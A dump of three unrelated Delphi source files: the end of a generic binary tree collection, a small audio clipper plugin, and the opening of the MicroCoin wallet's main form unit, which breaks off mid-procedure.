PreOrderSearchArray(ARefNode.Left, AArray);
if (ARefNode.Right <> nil) then
PreOrderSearchArray(ARefNode.Right, AArray);
end;
procedure TBinaryTree<T>.RecFind(const ARefNode: TBinaryTreeNode<T>; const AValue: T; var Node: TBinaryTreeNode<T>);
begin
if Node = nil then
begin
if (ElementType.AreEqual(ARefNode.FData, AValue)) then
begin
Node := ARefNode;
Exit;
end;
if (ARefNode.Left <> nil) then
RecFind(ARefNode.Left, AValue, Node);
if (ARefNode.Right <> nil) then
RecFind(ARefNode.Right, AValue, Node);
end;
end;
procedure TBinaryTree<T>.Remove(const ARefNode: TBinaryTreeNode<T>);
begin
if (ARefNode = nil) then
ExceptionHelper.Throw_ArgumentNilError('ARefNode');
if (ARefNode.FBinaryTree <> Self) then
ExceptionHelper.Throw_ElementNotPartOfCollectionError('ARefNode');
ARefNode.Free;
end;
procedure TBinaryTree<T>.Remove(const AValue: T);
var
Node, Parent: TBinaryTreeNode<T>;
Left: Boolean;
begin
Node := Find(AValue);
if Node = FRoot then
Clear()
else
if Node <> nil then
begin
Parent := Node.Parent;
Left := True;
if ((Parent.FRight <> nil) And ElementType.AreEqual(Parent.FRight.FData, AValue)) then
Left := False;
Node.FRemoved := true;
Node.Free();
if Left then
Parent.FLeft := nil
else
Parent.FRight := nil;
end;
end;
{ TBinaryTreeNode<T> }
constructor TBinaryTreeNode<T>.Create(const Value: T; const ATree: TBinaryTree<T>);
begin
if ATree = nil then
ExceptionHelper.Throw_ArgumentNilError('ATree');
{ Assign the value }
FData := Value;
{ Initialize internals to nil }
FLeft := nil;
FRight := nil;
FParent := nil;
FBinaryTree := ATree;
end;
destructor TBinaryTreeNode<T>.Destroy;
begin
if FLeft <> nil then
FLeft.Free();
if FRight <> nil then
FRight.Free();
if (FBinaryTree <> nil) then
begin
{ Is this node root? }
if FParent = nil then
FBinaryTree.FRoot := nil
else
begin
{ Disconnect fron the parent node }
if FParent.FLeft = Self then
FParent.FLeft := nil
else
FParent.FRight := nil;
end;
{ Clean myself up }
if (FBinaryTree.ElementType.Management() = tmManual) and (not FRemoved) then
FBinaryTree.ElementType.Cleanup(FData);
Dec(FBinaryTree.FCount);
Inc(FBinaryTree.FVer);
end;
inherited;
end;
function TBinaryTreeNode<T>.IsAPartOf(const BinaryTree: TBinaryTree<T>): Boolean;
begin
if (FBinaryTree <> BinaryTree) then
Exit(False);
if (FParent = nil) then
begin
if FBinaryTree.FRoot = Self then
Exit(True)
else
Exit(False);
end
else
Exit(True);
end;
{ TBinaryTree<T>.TEnumerator }
constructor TBinaryTree<T>.TEnumerator.Create(const ATree: TBinaryTree<T>);
begin
{ Initialize }
FBinaryTree := ATree;
KeepObjectAlive(ATree);
FTraverseArray := FBinaryTree.PostOrder();
FCurrentIndex := 0;
FVer := ATree.FVer;
end;
destructor TBinaryTree<T>.TEnumerator.Destroy;
begin
ReleaseObject(FBinaryTree);
inherited;
end;
function TBinaryTree<T>.TEnumerator.GetCurrent: T;
begin
if FVer <> FBinaryTree.FVer then
ExceptionHelper.Throw_CollectionChangedError();
if FCurrentIndex > 0 then
Result := FTraverseArray.Items[FCurrentIndex - 1]
else
Result := default(T);
end;
function TBinaryTree<T>.TEnumerator.MoveNext: Boolean;
begin
if FVer <> FBinaryTree.FVer then
ExceptionHelper.Throw_CollectionChangedError();
Result := FCurrentIndex < FTraverseArray.Length;
Inc(FCurrentIndex);
end;
{ TObjectBinaryTree<T> }
procedure TObjectBinaryTree<T>.InstallType(const AType: IType<T>);
begin
{ Create a wrapper over the real type class and switch it }
FWrapperType := TObjectWrapperType<T>.Create(AType);
{ Install overridden type }
inherited InstallType(FWrapperType);
end;
function TObjectBinaryTree<T>.GetOwnsObjects: Boolean;
begin
Result := FWrapperType.AllowCleanup;
end;
procedure TObjectBinaryTree<T>.SetOwnsObjects(const Value: Boolean);
begin
FWrapperType.AllowCleanup := Value;
end;
end.
|
{$include kode.inc}
unit fx_clipper;
//----------------------------------------------------------------------
interface
//----------------------------------------------------------------------
uses
kode_plugin,
kode_types;
type
myPlugin = class(KPlugin)
private
FLimit : Single;
FGain : Single;
public
procedure on_Create; override;
procedure on_ParameterChange(AIndex: LongWord; AValue: Single); override;
procedure on_ProcessSample(AInputs, AOutputs: PPSingle); override;
end;
//----------
KPluginClass = myPlugin;
//----------------------------------------------------------------------
implementation
//----------------------------------------------------------------------
uses
_plugin_id,
kode_const,
kode_debug,
kode_flags,
kode_math,
kode_parameter,
kode_utils;
//----------
procedure myPlugin.on_Create;
begin
FName := 'fx_clipper';
FAuthor := 'skei.audio';
FProduct := FName;
FVersion := 0;
FUniqueId := KODE_MAGIC + fx_clipper_id;
KSetFlag(FFlags,kpf_perSample);
appendParameter( KParameter.create('level', 1 ) );
FLimit := 1;
FGain := 1;
end;
//----------
procedure myPlugin.on_parameterChange(AIndex:LongWord; AValue:Single);
var
v : Single;
begin
case AIndex of
0 : begin
v := AValue;
FLimit := v*v*v;
if v < 0.00001 then v := 0.00001; // hack?
FGain := 1 / v;
end;
end; // case
end;
//----------
procedure myPlugin.on_processSample(AInputs,AOutputs: PPSingle);
var
spl0,spl1 : single;
begin
spl0 := AInputs[0]^;
spl1 := AInputs[1]^;
AOutputs[0]^ := KClamp(spl0,-FLimit,FLimit) * FGain;
AOutputs[1]^ := KClamp(spl1,-FLimit,FLimit) * FGain;
end;
//----------------------------------------------------------------------
end.
|
{==============================================================================|
| MicroCoin |
| Copyright (c) 2018 MicroCoin Developers |
|==============================================================================|
| Permission is hereby granted, free of charge, to any person obtaining a copy |
| of this software and associated documentation files (the "Software"), to |
| deal in the Software without restriction, including without limitation the |
| rights to use, copy, modify, merge, publish, distribute, sublicense, and/or |
| sell opies of the Software, and to permit persons to whom the Software is |
| furnished to do so, subject to the following conditions: |
| |
| The above copyright notice and this permission notice shall be included in |
| all copies or substantial portions of the Software. |
|------------------------------------------------------------------------------|
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
| IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, |
| FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE |
| AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER |
| LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING |
| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER |
| DEALINGS IN THE SOFTWARE. |
|==============================================================================|
| This unit contains portions from PascalCoin |
| Copyright (c) Albert Molina 2016 - 2018 |
| |
| Distributed under the MIT software license, see the accompanying file |
| LICENSE or visit http://www.opensource.org/licenses/mit-license.php. |
|==============================================================================|
| File: MicroCoin.Forms.MainForm.pas |
| Created at: 2018-09-11 |
| Purpose: Wallet Main Form |
|==============================================================================}
unit MicroCoin.Forms.MainForm;
{$IFDEF FPC}
{$MODE delphi}
{$ENDIF}
interface
{$I config.inc}
uses
{$IFNDEF FPC}
pngimage, Windows, AppEvnts, ShlObj,
{$ELSE}
LCLIntf, LCLType, LMessages, fpjson, jsonparser, LResources, LCLTranslator, Translations,
{$ENDIF}
Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ComCtrls, UWalletKeys, StdCtrls, ULog, Grids, MicroCoin.Application.Settings,
Menus, ImgList, Styles, Themes, UBaseTypes,
synautil, UCrypto, Buttons, IniFiles, MicroCoin.Keys.KeyManager,
System.Notification, PngImageList, Actions, ActnList,
PlatformDefaultStyleActnCtrls, ActnMan, ImageList,
VirtualTrees, PngBitBtn, PngSpeedButton, ActnCtrls,
MicroCoin.Transaction.Base, MicroCoin.Transaction.TransferMoney, MicroCoin.Transaction.ChangeKey,
MicroCoin.Forms.EditAccount,
MicroCoin.Account.AccountKey, MicroCoin.Common.Lists, MicroCoin.Common,
MicroCoin.Transaction.ITransaction,
MicroCoin.Account.Data, Types, httpsend,
MicroCoin.Node.Node, MicroCoin.Forms.BlockChain.Explorer,
MicroCoin.Account.Storage, PlatformVclStylesActnCtrls,
MicroCoin.Forms.AccountSelectDialog,
MicroCoin.RPC.Server, UAES, Math, MicroCoin.Forms.Transaction.CreateSubAccount,
MicroCoin.Mining.Server, MicroCoin.Forms.ChangeAccountKey, MicroCoin.Node.Events,
MicroCoin.Forms.Transaction.Explorer, MicroCoin.Forms.Common.Settings,
MicroCoin.Net.Connection, MicroCoin.Net.Client, MicroCoin.Net.Statistics,
MicroCoin.Forms.BuyAccount, MicroCoin.Transaction.ListAccount, MicroCoin.Crypto.Keys,
MicroCoin.Forms.Transaction.History, MicroCoin.Forms.Keys.Keymanager, UITypes,
SyncObjs, DelphiZXIngQRCode, ShellApi,
Tabs, ExtActns, MicroCoin.Forms.SellAccount, MicroCoin.Account.Editors,
ToolWin, WinXCtrls, ActnPopup
{$IFDEF WINDOWS}, Windows{$ENDIF};
const
CM_PC_WalletKeysChanged = WM_USER + 1;
CM_PC_NetConnectionUpdated = WM_USER + 2;
type
TMinerPrivateKey = (mpk_NewEachTime, mpk_Random, mpk_Selected);
{ TFRMWallet }
TMainForm = class(TForm)
StatusBar: TStatusBar;
Timer1: TTimer;
TrayIcon: TTrayIcon;
TimerUpdateStatus: TTimer;
MainToolbar: TActionToolBar;
MainActions: TActionManager;
PrivateKeysAction: TAction;
SettingsAction: TAction;
NodesAction: TAction;
BlockExplorerAction: TAction;
TransactionsAction: TAction;
PendingTransactionsAction: TAction;
AboutAction: TAction;
logPanel: TPanel;
bottomPageControl: TPageControl;
logSheet: TTabSheet;
logDisplay: TRichEdit;
activeConnectionsSheet: TTabSheet;
blackListedIPsSheet: TTabSheet;
serversSheet: TTabSheet;
memoNetConnections: TMemo;
memoNetBlackLists: TMemo;
memoNetServers: TMemo;
MainPanel: TPanel;
miscInfoSheet: TTabSheet;
labelBlocksCountCaption: TLabel;
labelAllAccountsCaption: TLabel;
lblCurrentAccounts: TLabel;
labelDifficultyCaption: TLabel;
labelLastBlockCaption: TLabel;
lblCurrentBlockTime: TLabel;
lblCurrentDifficulty: TLabel;
lblTimeAverage: TLabel;
lblTimeAverageAux: TLabel;
lblCurrentBlock: TLabel;
rootPanel: TPanel;
Splitter1: TSplitter;
AccountListActions: TActionManager;
SelectAllAction: TAction;
AccountInfoAction: TAction;
ContentPanel: TPanel;
leftPanel: TPanel;
rightPanel: TPanel;
SellAccountAction: TAction;
EditAccountAction: TAction;
BuyAction: TAction;
ChangeKeyAction: TAction;
accountVList: TVirtualStringTree;
accountsFilterPanel: TPanel;
cbExploreMyAccounts: TCheckBox;
cbMyPrivateKeys: TComboBox;
AccountsListToolbar: TActionToolBar;
RefreshAction: TAction;
MainActionImages: TPngImageList;
miscIcons: TPngImageList;
AccountListActionImages: TPngImageList;
Panel2: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label6: TLabel;
payloadEdit: TMemo;
btnSendCoins: TPngBitBtn;
Image1: TImage;
accountsPanelHeader: THeaderControl;
GeneralInfoPanel: TPanel;
HeaderControl3: THeaderControl;
labelAccountsCaption: TLabel;
labelAccountsCount: TLabel;
labelBalanceCaption: TLabel;
labelAccountsBalance: TLabel;
labelPendingCaption: TLabel;
labelOperationsPending: TLabel;
labelBlocksFoundCaption: TLabel;
labelBlocksFound: TLabel;
labelMiningStatusCaption: TLabel;
labelMinersClients: TLabel;
lblNodeStatus: TLabel;
labelNodeStatusCaption: TLabel;
encryptModeSelect: TComboBox;
Label7: TLabel;
amountEdit: TEdit;
feeEdit: TEdit;
encryptionPassword: TEdit;
Label9: TLabel;
HeaderControl1: THeaderControl;
ApplicationEvents: TApplicationEvents;
RevokeSellAction: TAction;
MiscActions: TActionManager;
MiscImages: TPngImageList;
ShowLogAction: TAction;
Send: TAction;
ChangeThemeAction: TAction;
TransactionHistoryAction: TAction;
accountListImages: TPngImageList;
QRCodeDisplay: TImage;
cbForSale: TCheckBox;
HomePageAction: TAction;
CommunityAction: TAction;
PopupActionBar1: TPopupActionBar;
menuItemTransactionHistory: TMenuItem;
menuItemEdit: TMenuItem;
menuItemChangekey: TMenuItem;
menuItemSell: TMenuItem;
menuItemRevokeSell: TMenuItem;
menuItemBuy: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
ExchangeAction: TAction;
edTargetAccount: TEdit;
btnSelectAccount: TPngSpeedButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure TimerUpdateStatusTimer(Sender: TObject);
procedure cbMyPrivateKeysChange(Sender: TObject);
procedure cbExploreMyAccountsClick(Sender: TObject);
procedure TrayIconDblClick(Sender: TObject);
procedure ApplicationEventsMinimize(Sender: TObject);
procedure bbAccountsRefreshClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure TransactionsActionExecute(Sender: TObject);
procedure PendingTransactionsActionExecute(Sender: TObject);
procedure ShowLogActionExecute(Sender: TObject);
procedure SelectAllActionExecute(Sender: TObject);
procedure accountVListInitNode(Sender: TBaseVirtualTree; ParentNode,
Node: PVirtualNode; var InitialStates: TVirtualNodeInitStates);
procedure accountVListGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType; var CellText: string);
procedure accountVListGetImageIndex(Sender: TBaseVirtualTree;
Node: PVirtualNode; Kind: TVTImageKind; Column: TColumnIndex;
var Ghosted: Boolean; var ImageIndex: TImageIndex);
procedure MultipleTransactionActionExecute(Sender: TObject);
procedure accountVListNodeDblClick(Sender: TBaseVirtualTree;
const HitInfo: THitInfo);
procedure SellAccountActionExecute(Sender: TObject);
procedure ChangeKeyActionExecute(Sender: TObject);
procedure BuyActionExecute(Sender: TObject);
procedure EditAccountActionExecute(Sender: TObject);
procedure SendExecute(Sender: TObject);
procedure RefreshActionExecute(Sender: TObject);
procedure StatusBarDrawPanel(StatusBar: TStatusBar; Panel: TStatusPanel;
const Rect: TRect);
procedure SendUpdate(Sender: TObject);
procedure accountVListChecked(Sender: TBaseVirtualTree; Node: PVirtualNode);
procedure ApplicationEventsException(Sender: TObject; E: Exception);
procedure CloseActionExecute(Sender: TObject);
procedure EditAccountActionUpdate(Sender: TObject);
procedure ChangeKeyActionUpdate(Sender: TObject);
procedure SellAccountActionUpdate(Sender: TObject);
procedure SelectAllActionUpdate(Sender: TObject);
procedure AccountInfoActionUpdate(Sender: TObject);
procedure BuyActionUpdate(Sender: TObject);
procedure RevokeSellActionUpdate(Sender: TObject);
procedure RevokeSellActionExecute(Sender: TObject);
procedure ApplicationEvents1Minimize(Sender: TObject);
procedure TransactionHistoryActionUpdate(Sender: TObject);
procedure TransactionHistoryActionExecute(Sender: TObject);
procedure PrivateKeysActionExecute(Sender: TObject);
procedure SettingsActionExecute(Sender: TObject);
procedure BlockExplorerActionExecute(Sender: TObject);
procedure AboutActionExecute(Sender: TObject);
procedure encryptModeSelectChange(Sender: TObject);
procedure accountVListFreeNode(Sender: TBaseVirtualTree;
Node: PVirtualNode);
procedure accountVListFocusChanged(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex);
procedure cbForSaleClick(Sender: TObject);
procedure CommunityActionExecute(Sender: TObject);
procedure HomePageActionExecute(Sender: TObject);
procedure accountVListInitChildren(Sender: TBaseVirtualTree;
Node: PVirtualNode; var ChildCount: Cardinal);
procedure edTargetAccountKeyPress(Sender: TObject; var Key: Char);
procedure btnSelectAccountClick(Sender: TObject);
private
FBackgroundPanel: TPanel;
FMinersBlocksFound: Integer;
bShowLogs : TPngSpeedButton;
FProgessBar: TProgressBar;
procedure SetMinersBlocksFound(const Value: Integer);
procedure FinishedLoadingApp;
protected
FIsActivated: Boolean;
FLog: TLog;
FAppSettings: TAppSettings;
FNodeNotifyEvents: TNodeNotifyEvents;
FOrderedAccountsKeyList: TOrderedAccountKeysList;
FMinerPrivateKeyType: TMinerPrivateKey;
FUpdating: Boolean;
FMessagesUnreadCount: Integer;
FMinAccountBalance: Int64;
FMaxAccountBalance: Int64;
FPoolMiningServer: TMiningServer;
FRPCServer: TRPCServer;
FMustProcessWalletChanged: Boolean;
FMustProcessNetConnectionUpdated: Boolean;
FAccounts: TOrderedList;
FTotalAmount : Int64;
procedure OnNewAccount(Sender: TObject);
procedure OnNewOperation(Sender: TObject);
procedure OnReceivedHelloMessage(Sender: TObject);
procedure OnNetStatisticsChanged(Sender: TObject);
procedure OnNewLog(logtype: TLogType; Time: TDateTime; ThreadID: Cardinal; const Sender, logtext: AnsiString);
procedure OnWalletChanged(Sender: TObject);
procedure OnNetConnectionsUpdated(Sender: TObject);
procedure OnNetNodeServersUpdated(Sender: TObject);
procedure OnNetBlackListUpdated(Sender: TObject);
procedure OnNodeMessageEvent(NetConnection: TNetConnection; MessageData: TRawBytes);
procedure OnMiningServerNewBlockFound(Sender: TObject);
procedure UpdateConnectionStatus;
procedure UpdateAccounts(RefreshData: Boolean);
procedure UpdateBlockChainState;
procedure UpdatePrivateKeys;
procedure LoadAppParams;
procedure UpdateConfigChanged;
procedure UpdateNodeStatus;
procedure Activate; override;
function ForceMining: Boolean; virtual;
function GetAccountKeyForMiner: TAccountKey;
procedure DoUpdateAccounts;
procedure CM_WalletChanged(var Msg: TMessage); message CM_PC_WalletKeysChanged;
procedure CM_NetConnectionUpdated(var Msg: TMessage); message CM_PC_NetConnectionUpdated;
procedure ConfirmRestart;
public
FNotificationCenter: TNotificationCenter;
class constructor Create;
property MinersBlocksFound: Integer read FMinersBlocksFound write SetMinersBlocksFound;
end;
var
MainForm: TMainForm;
implementation
{$IFNDEF FPC}
{$R *.dfm}
{$ELSE}
{$R *.lfm}
{$ENDIF}
uses OpenSSLDef, openssl, MicroCoin.Common.Config, UTime, MicroCoin.BlockChain.FileStorage,
UThread, UECIES, Threading,MicroCoin.Transaction.TransactionList,
MicroCoin.Forms.Common.About, MicroCoin.Transaction.HashTree,
MicroCoin.Net.NodeServer, MicroCoin.Net.ConnectionManager;
resourcestring
NewTransaction = 'New transaction';
StrReallyWantToRevokeSell = 'Really want to revoke sell?';
StrTransactionExecuted = 'Transaction executed sucessfully';
StrCanNotOpenWallet = 'Can not open wallet file: %s';
StrAnErrorOccoured = 'An error occoured: %s';
StrRestartApplication = 'Restart application?';
StrCanNotLoadRequiredLibrary = 'Can not load required library: %s';
StrCannotCreateDir = 'Cannot create dir: ';
StrRestoringTheWindow = 'Restoring the window.';
StrDoubleClickTheSystemTray = 'Double click the system tray icon to restore MicroCoin Wallet';
StrPleaseSelectAccounts = 'Please select accounts';
StrNewForMiner = 'New for miner %s';
StrUnlockWallet = 'Unlock wallet';
StrPassword = 'Password:';
StrInvalidAmount = 'Invalid amount';
StrInvalidFee = 'Invalid fee';
StrInvalidAccountNumber = 'Invalid account number';
StrPleaseSelectSenderAccount = 'Please select sender account from the list' +
' on the right side';
StrSenderPrivateKeyNotFound = 'Sender private key not found';
StrNotEnoughMoney = 'Not enough money';
StrInvalidTargetAccount = 'Invalid target account, account does not exists';
StrTargetAccountIsLocked = 'Target Account is locked. Please try after 10 ' +
'blocks';
StrSenderAccountIsLocked = 'Sender Account is locked. Please try after 10 ' +
'blocks';
StrExecuteTransaction = 'Execute transaction? ';
StrTransactionSuccessfullyExecuted = 'Transaction successfully executed';
StrActive = 'Active';
StrStopped = 'Stopped';
StrClientsServers = '%d clients | %d servers';
StrTraffic = 'Traffic: %.0n Kb | %.0n Kb';
StrExceptionAtTimerUpdate = 'Exception at TimerUpdate %s: %s';
StrNone = '(none)';
StrDownloadingBlocks = 'Downloading blocks: %.0n / %.0n';
StrBlocks0n = 'Blocks: %.0n';
StrDifficulty0x = 'Difficulty: 0x';
StrLastOptiomalDeviation = 'Last %s: %s sec. (Optimal %ss) Deviation %s';
StrConnectedJSONRPCClients = '%d connected JSON-RPC clients';
StrNoJSONRPCClients = 'No JSON-RPC clients';
StrJSONRPCServerNotActive = 'JSON-RPC server not active';
StrLastBlock = 'Last block: %s';
StrDiscoveringServers = 'Discovering servers';
StrObtainingNewBlockchain = 'Obtaining new blockchain';
StrRunning = 'Running';
StrAloneInTheWorld = 'Alone in the world...';
StrAllMyPrivateKeys = '(All my private keys)';
StrDownloadingCheckpoints = 'Downloading checkpoints: %d%%';
StrProcessingCheckpoints = 'Processing checkpoints: %d%%';
StrLoadingAccounts = 'Loading accounts. Be patient... :-)';
StrIgnoreOldBocks = 'Eldöntheted, hogy szeretnéd-e letölteni a teljes blokkláncot. '+ sLineBreak+
'A teljes blokklánc letöltése hosszú ideig is eltarthat.'+ sLineBreak+
'Ha nem töltöd le, hamarabb tudod használni a programot, '+sLineBreak+
'és kevesebb lemezterület kerül felhasználásra, '+slineBreak+
'cserébe a tranzakció történet nem lesz elérhető.'+sLineBreak+
'Letöltöd az egész blokkláncot?';
StrDownloadBlockchain = 'Download blockchain?';
type
TThreadActivate = class(TPCThread)
protected
procedure BCExecute; override;
end;
{ TThreadActivate }
procedure TThreadActivate.BCExecute;
begin
TNode.Node.BlockManager.DiskRestoreFromTransactions(cMaxBlocks);
TNode.Node.AutoDiscoverNodes(cDiscover_IPs);
TNode.Node.NetServer.Active := true;
Synchronize(MainForm.DoUpdateAccounts);
Synchronize(MainForm.FinishedLoadingApp);
end;
{ TFRMWallet }
procedure TMainForm.PrivateKeysActionExecute(Sender: TObject);
begin
TWalletKeysForm.Create(nil).ShowModal;
UpdatePrivateKeys;
UpdateAccounts(true);
end;
procedure TMainForm.RefreshActionExecute(Sender: TObject);
begin
UpdateAccounts(true);
end;
procedure TMainForm.RevokeSellActionExecute(Sender: TObject);
var
xTransaction: ITransaction;
xAccount: TAccount;
xPrivateKey: TECKeyPair;
xErrors: AnsiString;
xIndex: integer;
begin
if accountVList.FocusedNode = nil
then exit;
xAccount := TAccount(accountVList.FocusedNode.GetData()^);
xIndex := TNode.Node.KeyManager.IndexOfAccountKey(xAccount.AccountInfo.AccountKey);
if xIndex < 0
then exit;
if MessageDlg(StrReallyWantToRevokeSell, mtConfirmation,[mbYes, mbNo],0) <> mrYes
then exit;
xPrivateKey := TNode.Node.KeyManager[xIndex].PrivateKey;
xTransaction:=TDelistAccountTransaction.CreateDelistAccountForSale(
xAccount.AccountNumber,
xAccount.NumberOfTransactions+1,
xAccount.AccountNumber,
0,
xPrivateKey,
''
);
if not TNode.Node.AddTransaction(nil, xTransaction, xErrors) then begin
MessageDlg(xErrors, mtError, [mbOk],0);
end else begin
MessageDlg(StrTransactionExecuted, mtInformation, [mbOk], 0);
end;
end;
procedure TMainForm.RevokeSellActionUpdate(Sender: TObject);
var
xAccount : TAccount;
xIndex : integer;
xIsReady: AnsiString;
begin
if accountVList.FocusedNode <> nil then begin
xAccount := TAccount(accountVList.FocusedNode.GetData()^);
xIndex := TNode.Node.KeyManager.IndexOfAccountKey(xAccount.AccountInfo.AccountKey);
RevokeSellAction.Enabled := TNode.Node.IsReady(xIsReady) and
(TNode.Node.KeyManager.IndexOfAccountKey(
xAccount.AccountInfo.AccountKey) > -1)
and (xIndex >= 0)
and (xAccount.AccountInfo.State = as_ForSale);
end
else RevokeSellAction.Enabled := false;
end;
procedure TMainForm.AboutActionExecute(Sender: TObject);
begin
with TAboutForm.Create(nil) do
try
ShowModal;
finally
Free;
end;
end;
procedure TMainForm.AccountInfoActionUpdate(Sender: TObject);
begin
AccountInfoAction.Enabled := accountVList.FocusedNode <> nil;
end;
procedure TMainForm.accountVListChecked(Sender: TBaseVirtualTree; Node: PVirtualNode);
var
xPCheckedNode : PVirtualNode;
xAllAmount: Int64;
begin
xAllAmount := 0;
for xPCheckedNode in accountVList.CheckedNodes(TCheckState.csCheckedNormal) do begin
xAllAmount := xAllAmount + TAccount(xPCheckedNode.GetData()^).Balance;
end;
if xAllAmount>0 then begin
amountEdit.Text := TCurrencyUtils.CurrencyToString(xAllAmount);
amountEdit.ReadOnly := True;
end else begin
amountEdit.Clear;
amountEdit.ReadOnly := false;
end;
end;
procedure TMainForm.accountVListFocusChanged(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex);
var
xQRCode: TDelphiZXingQRCode;
xRow, xCol: Integer;
xQRCodeBitmap: TBitmap;
begin
if Node=nil then exit;
xQRCode := TDelphiZXingQRCode.Create;
try
xQRCodeBitmap := QRCodeDisplay.Picture.Bitmap;
xQRCode.Data :='{"account":"'+ TAccount.AccountNumberToString(TAccount(Node.GetData^).AccountNumber)+'","amount":"","payload":""}';
xQRCode.Encoding := TQRCodeEncoding(qrISO88591);
xQRCode.QuietZone := 1;
xQRCodeBitmap.SetSize(xQRCode.Rows, xQRCode.Columns);
for xRow := 0 to xQRCode.Rows - 1 do
begin
for xCol := 0 to xQRCode.Columns - 1 do
begin
if (xQRCode.IsBlack[xRow, xCol])
then xQRCodeBitmap.Canvas.Pixels[xCol, xRow] := clBlack
else xQRCodeBitmap.Canvas.Pixels[xCol, xRow] := clWhite;
end;
end;
QRCodeDisplay.Picture.Bitmap := xQRCodeBitmap;
finally
xQRCode.Free;
end;
end;
procedure TMainForm.accountVListFreeNode(Sender: TBaseVirtualTree; Node: PVirtualNode);
begin
TAccount(Node.GetData()^).AccountInfo.AccountKey.x := '';
TAccount(Node.GetData()^).AccountInfo.AccountKey.y := '';
TAccount(Node.GetData()^).AccountInfo.NewPublicKey.x := '';
TAccount(Node.GetData()^).AccountInfo.NewPublicKey.y := '';
TAccount(Node.GetData()^) := Default(TAccount);
end;
procedure TMainForm.accountVListGetImageIndex(Sender: TBaseVirtualTree;
Node: PVirtualNode; Kind: TVTImageKind; Column: TColumnIndex;
var Ghosted: Boolean; var ImageIndex: TImageIndex);
var
xBlockDifference: Cardinal;
xAccount: TAccount;
begin
xAccount := TAccount(Sender.GetNodeData(Node)^);
xBlockDifference := TNode.Node.BlockManager.BlocksCount - xAccount.UpdatedBlock;
if (Kind in [ikNormal, ikSelected]) and (Column = 0) then begin
case xAccount.AccountInfo.State of
as_Unknown: ImageIndex := 2;
as_Normal:
if TAccount.IsAccountBlockedByProtocol(xAccount.AccountNumber, TNode.Node.BlockManager.BlocksCount)
then ImageIndex := 2
else if xBlockDifference < 10 then ImageIndex := 1
else ImageIndex := 0;
as_ForSale: ImageIndex := 3
end;
end else Ghosted := true;
end;
procedure TMainForm.accountVListGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: string);
var
xPAccount : TAccount;
begin
if Sender.GetNodeLevel(Node) = 0 then begin
xPAccount := TAccount(Sender.GetNodeData(Node)^);
case Column of
0: CellText := TAccount.AccountNumberToString(xPAccount.AccountNumber);
1: CellText := xPAccount.Name;
2: begin
CellText := TCurrencyUtils.CurrencyToString(xPAccount.Balance);
if xPAccount.AccountInfo.State = as_ForSale
then CellText := CellText + ' ('+TCurrencyUtils.CurrencyToString(xPAccount.AccountInfo.Price)+')';
end;
3: CellText := xPAccount.NumberOfTransactions.ToString;
end;
end else begin
end;
end;
procedure TMainForm.accountVListInitChildren(Sender: TBaseVirtualTree;
Node: PVirtualNode; var ChildCount: Cardinal);
begin
ChildCount := 0;
end;
procedure TMainForm.accountVListInitNode(Sender: TBaseVirtualTree; ParentNode,
Node: PVirtualNode; var InitialStates: TVirtualNodeInitStates);
var
xAccountNumber : Cardinal;
xAccount: TAccount;
begin
if cbExploreMyAccounts.Checked or cbForSale.Checked
then xAccountNumber := FAccounts.Get(Node.Index)
else xAccountNumber := Node.Index;
if Sender.GetNodeLevel(Node) = 0
then Node.CheckType := TCheckType.ctCheckBox
else Node.CheckType := TCheckType.ctNone;
xAccount := TNode.Node.TransactionStorage.AccountTransaction.Account(xAccountNumber);
Sender.SetNodeData(Node, xAccount);
end;
procedure TMainForm.accountVListNodeDblClick(Sender: TBaseVirtualTree; const HitInfo: THitInfo);
begin
TransactionHistoryAction.Execute;
end;
procedure TMainForm.Activate;
var
xIPAddresses: AnsiString;
xNodeServers: TNodeServerAddressArray;
begin
inherited;
if FIsActivated then
exit;
FIsActivated := true;
try
try
TNode.Node.KeyManager.WalletFileName := MicroCoinDataFolder + PathDelim + 'WalletKeys.dat';
except
on E: Exception do
begin
E.Message := Format(StrCanNotOpenWallet, [E.Message]);
raise;
end;
end;
xIPAddresses := FAppSettings.Entries[TAppSettingsEntry.apTryToConnectOnlyWithThisFixedServers].GetAsString('');
TNode.DecodeIpStringToNodeServerAddressArray(xIPAddresses, xNodeServers);
TConnectionManager.Instance.DiscoverFixedServersOnly(xNodeServers);
setlength(xNodeServers, 0);
// Creating Node:
TNode.Node.NetServer.Port := FAppSettings.Entries[TAppSettingsEntry.apInternetServerPort].GetAsInteger(cNetServerPort);
TNode.Node.PeerCache := FAppSettings.Entries[TAppSettingsEntry.apPeerCache].GetAsString('') + ';' + cDiscover_IPs;
// Create RPC server
FRPCServer := TRPCServer.Instance;
FRPCServer.WalletKeys := TNode.Node.KeyManager;
FRPCServer.Active := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCEnabled].GetAsBoolean(false);
FRPCServer.ValidIPs := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCAllowedIPs].GetAsString('127.0.0.1');
// TNode.Node.KeyManager := TNode.Node.KeyManager;
// Check Database
TNode.Node.BlockManager.StorageClass := TFileStorage;
TFileStorage(TNode.Node.BlockManager.Storage).DatabaseFolder := MicroCoinDataFolder + PathDelim + 'Data';
TFileStorage(TNode.Node.BlockManager.Storage).Initialize;
// Init Grid
TNode.Node.KeyManager.OnChanged := OnWalletChanged;
if FAppSettings.Entries[TAppSettingsEntry.apFirstTime].GetAsBoolean(true)
then begin
